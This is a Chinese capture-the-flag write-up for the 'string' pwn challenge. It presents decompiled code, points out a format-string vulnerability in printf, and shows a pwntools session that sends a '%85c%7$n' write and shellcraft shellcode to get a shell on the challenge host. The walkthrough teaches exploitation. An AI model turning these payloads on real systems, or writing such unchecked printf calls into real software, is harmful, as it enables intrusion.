

攻防世界pwn练习区string

原创

暮归纪 于 2022-02-15 20:50:21 发布 1633 收藏

文章标签: [python](#)

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```
truction Data Unexplored External symbol
IDA View-A Pseudocode-A Hex View-1 Structures Enums Imports
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     _DWORD *v3; // rax
4     _DWORD *v4; // ST18_8
5
6     setbuf(stdout, 0LL);
7     alarm(0x3Cu);
8     sub_400996();
9     v3 = malloc(8uLL);
10    v4 = v3;
11    *v3 = 68;
12    v3[1] = 85;
13    puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
14    puts("we will tell you two secret ...");
15    printf("secret[0] is %x\n", v4, a2);
16    printf("secret[1] is %x\n", v4 + 1);
17    puts("do not tell anyone ");
18    sub_400D72(v4);
19    puts("The End.....Really?");
20    return 0LL;
21 }
```

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分配了8字节的空间, v4是一个双字指针, v4[0]=68,v4[1]=85。然后输出v4和v4+4的值;跟一下后面的函数

```
1 unsigned __int64 __fastcall sub_400D72(__int64 a1)
2 {
3     char s; // [rsp+10h] [rbp-20h]
4     unsigned __int64 v3; // [rsp+28h] [rbp-8h]
5
6     v3 = __readfsqword(0x28u);
7     puts("What should your character's name be:");
8     __isoc99_scanf("%s", &s);
9     if ( strlen(&s) <= 0xC )
10    {
11        puts("Creating a new player.");
12        sub_400A7D();
13        sub_400BB9();
14        sub_400CA6(a1, &s);
15    }
16    else
17    {
18        puts("Hei! What's up!");
19    }
20    return __readfsqword(0x28u) ^ v3;
21 }
```

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```

1 unsigned __int64 sub_400A7D()
2 {
3   char s1; // [rsp+0h] [rbp-10h]
4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6   v2 = __readfsqword(0x28u);
7   puts(" This is a famous but quite unusual inn. The air is fresh and the");
8   puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
9   puts("furniture looks undamaged by brawls, which are very common in other pubs");
10  puts("all around the world. The decoration looks extremely valuable and would fit");
11  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
12  puts("room are velvet covered chairs and benches, which surround large oaken");
13  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
14  puts("one corner you notice a fireplace.");
15  puts("There are two obvious exits: east, up.");
16  puts("But strange thing is ,no one there.");
17  puts("So, where you will go?east or up?:");
18  while ( 1 )
19  {
20    _isoc99_scanf("%s", &s1);
21    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
22      break;
23    puts("hei! I'm secious!");
24    puts("So, where you will go?:");
25  }
26  if ( strcmp(&s1, "east") )
27  {
28    if ( !strcmp(&s1, "up") )
29      sub_4009DD();
30    puts("YOU KNOW WHAT YOU DO?");
31    exit(0);
32  }
33  return __readfsqword(0x28u) ^ v2;
34 }

```

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这里要选east

```

IDA View-A | Pseudocode-A | Hex View-1 | Structures | Enums | Imports | Exports
Se ^
1 unsigned __int64 sub_400BB9()
2 {
3   int v1; // [rsp+4h] [rbp-7Ch]
4   __int64 v2; // [rsp+8h] [rbp-78h]
5   char format; // [rsp+10h] [rbp-70h]
6   unsigned __int64 v4; // [rsp+78h] [rbp-8h]
7
8   v4 = __readfsqword(0x28u);
9   v2 = 0LL;
10  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
11  puts(", what happend?! You just travel , and find another hole");
12  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
13  puts("go into there(1), or leave(0)?:");
14  _isoc99_scanf("%d", &v1);
15  if ( v1 == 1 )
16  {
17    puts("A voice heard in your mind");
18    puts("Give me an address");
19    _isoc99_scanf("%ld", &v2);
20    puts("And, you wish is:");
21    _isoc99_scanf("%s", &format);
22    puts("Your wish is");
23    printf(&format);
24    puts("I hear it, I hear it...");
25  }
26  return __readfsqword(0x28u) ^ v4;
27 }

```

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有一个格式化字符串漏洞

```

1 unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
~r

```


这题本来我想不用v2，直接在format里写入v4的值，让format=p64(addr)+'%77c%8\$n'但是不知道为什么打不通

```
it\ninto a palace, but in this city it\'s quite ordinary. In the middle of the\nroom are\nvelvet covered chairs and benches, which surround large oaken\ntables. A large sign is\nfixed to the northern wall behind a wooden bar. In\nnone corner you notice a fireplace.\nThere are two obvious exits: east, up.\nBut strange thing is ,no one there.\nSo, where y\nou will go?east or up?:\nYou travel a short distance east.That\'s odd, anyone disappear\nsuddenly\n, what happend?! You just travel , and find another hole\nYou recall, a big bl\nack hole will suckk you into it! Know what should you do?\ngo into there(1), or leave(0)\n?:\nA voice heard in your mind\n\'Give me an address\'\n'\n>>> p.sendline(str(int('0xaa22a0',16)))#v4 = 0x102d2a0\n>>> p.sendline('%85c%7$n')\n>>> payload = asm(shellcraft.sh())\n>>> p.sendline(payload)\n>>> p.interactive()\n[*] Switching to interactive mode\nAnd, you wish is:\nYour wish is\n\nCI h\n\near it, I hear it...\nAhu!!!!!!!!!!!!!!!!!!!!A Dragon has appeared!!\nDragon say: HaHa! you were supposed to have a normal\nRPG game, but I have changed it! you have no weapon and\nskill! you could not defeat me !\nThat's sound terrible! you meet final boss!but you level is ONE!\nWizard: I will help you! USE YOU SPELL\nls\n1.py 1.txt core flag linux_server64 pwn pwn2 pwn7
```

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